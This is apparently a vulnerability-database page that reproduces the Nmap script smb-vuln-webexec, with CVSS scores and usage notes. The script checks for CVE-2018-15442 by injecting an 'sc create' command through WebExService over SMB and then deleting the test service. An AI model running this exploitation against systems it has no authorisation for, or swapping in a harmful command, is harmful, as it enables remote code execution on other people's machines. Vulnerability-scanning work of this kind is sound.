Lucene search

K
nmapRon BowesNMAP:SMB-VULN-WEBEXEC.NSE
HistoryOct 24, 2018 - 4:14 p.m.

smb-vuln-webexec NSE Script

2018-10-2416:14:43
Ron Bowes
nmap.org
286

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

A critical remote code execution vulnerability exists in WebExService (WebExec).

See also:

Script Arguments

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

randomseed, smbbasic, smbport, smbsign

See the documentation for the smb library.

vulns.short, vulns.showall

See the documentation for the vulns library.

Example Usage

nmap --script smb-vuln-webexec --script-args smbusername=<username>,smbpass=<password> -p445 <host>

Script Output

PORT    STATE SERVICE      REASON
445/tcp open  microsoft-ds syn-ack
| smb-vuln-webexec:
|   VULNERABLE:
|   Remote Code Execution vulnerability in WebExService
|     State: VULNERABLE
|     IDs:  CVE:CVE-2018-15442
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in WebExService (WebExec).
|     Disclosure date: 2018-10-24
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
|       https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
|_      https://webexec.org

Requires


local msrpc = require "msrpc"
local string = require "string"
local shortport = require "shortport"
local smb = require "smb"
local stdnse = require "stdnse"
local vulns = require "vulns"
-- compat stuff for Nmap 7.70 and earlier
local have_rand, rand = pcall(require, "rand")
local random_string = have_rand and rand.random_string or stdnse.generate_random_string
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit

description = [[
Checks whether the WebExService is installed and allows us to run code.

Note: Requires a user account (local or domain).

References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
]]

---
-- @usage
-- nmap --script smb-vuln-webexec --script-args smbusername=<username>,smbpass=<password> -p445 <host>
--
-- @output
-- PORT    STATE SERVICE      REASON
-- 445/tcp open  microsoft-ds syn-ack
-- | smb-vuln-webexec:
-- |   VULNERABLE:
-- |   Remote Code Execution vulnerability in WebExService
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2018-15442
-- |     Risk factor: HIGH
-- |       A critical remote code execution vulnerability exists in WebExService (WebExec).
-- |     Disclosure date: 2018-10-24
-- |     References:
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15442
-- |       https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
-- |_      https://webexec.org
--
-- @see smb-webexec-exploit.nse

author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","vuln"}

portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")

action = function(host, port)
  local open_result
  local close_result
  local bind_result
  local result
  local test_service = random_string(16, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY")

  local vuln = {
    title = "Remote Code Execution vulnerability in WebExService",
    IDS = {CVE = 'CVE-2018-15442'},
    risk_factor = "HIGH",
    description = "A critical remote code execution vulnerability exists in WebExService (WebExec).",
    references = {
      'https://webexec.org', -- TODO: We can add Cisco's advisory here
      'https://blog.skullsecurity.org/2018/technical-rundown-of-webexec'
    },
    dates = {
      disclosure = {year = '2018', month = '10', day = '24'}, -- TODO: Update with the actual date
    },
    state = vulns.STATE.NOT_VULN
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)

  local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
  if not status then
    vuln.check_results = "Could not connect to smb: " .. smbstate
    return report:make_output(vuln)
  end

  status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)

  if not status then
    smb.stop(smbstate)
    vuln.check_results = "Could not bind to SVCCTL: " .. bind_result
    return report:make_output(vuln)
  end

  local result, username, domain = smb.get_account(host)
  if result then
    if domain and domain ~= "" then
      username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
    end
  end

  -- Open the service manager
  stdnse.debug1("Trying to open the remote service manager with minimal permissions")
  status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)

  if not status then
    smb.stop(smbstate)
    vuln.check_results = "Could not open service manager: " .. open_result
    return report:make_output(vuln)
  end

  local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
  if open_status == false then
    status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
    smb.stop(smbstate)
    if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
      vuln.check_results = "WebExService is not installed"
      return report:make_output(vuln)
    elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
      vuln.check_results = "Could not open a handle to WebExService as " .. username
      return report:make_output(vuln)
    end

    vuln.check_results = "WebExService failed to open with an unknown status " .. open_service_result
    return report:make_output(vuln)
  end

  -- Create a test service that we can query
  local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
  stdnse.debug1("Creating a test service: " .. webexec_command)
  status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
  if not status then
    vuln.check_results = "Could not start WebExService"
    return report:make_output(vuln)
  end

  -- We need some time for the service to run then stop again before we continue
  stdnse.sleep(1)

  -- Try and get a handle to the service with zero permissions
  stdnse.debug1("Checking if the test service exists")
  local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

  -- If the service DOES_NOT_EXIST, we couldn't run code
  if not test_status and string.match(test_result, 'DOES_NOT_EXIST') then
    stdnse.debug1("Result: Test service does not exist: probably not vulnerable")
    msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

    vuln.check_results = "Could not execute code via WebExService"
    return report:make_output(vuln)
  end

  -- At this point, we know we're vulnerable!
  vuln.state = vulns.STATE.VULN

  -- Close the handle if we got one
  if test_status then
    stdnse.debug1("Result: Got a handle to the test service, it's vulnerable!")
    msrpc.svcctl_closeservicehandle(smbstate, test_result['handle'])
  else
    stdnse.debug1("Result: The test service exists, even though we couldn't open it (" .. test_result .. ") - it's vulnerable!")
  end

  -- Delete the service and clean up (ignore the return values because there's nothing more that we can really do)
  webexec_command = "sc delete " .. test_service .. ""
  stdnse.debug1("Cleaning up the test service: " .. webexec_command)
  status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], strsplit(" ", "install software-update 1 " .. webexec_command))
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
  smb.stop(smbstate)

  return report:make_output(vuln)
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

Related for NMAP:SMB-VULN-WEBEXEC.NSE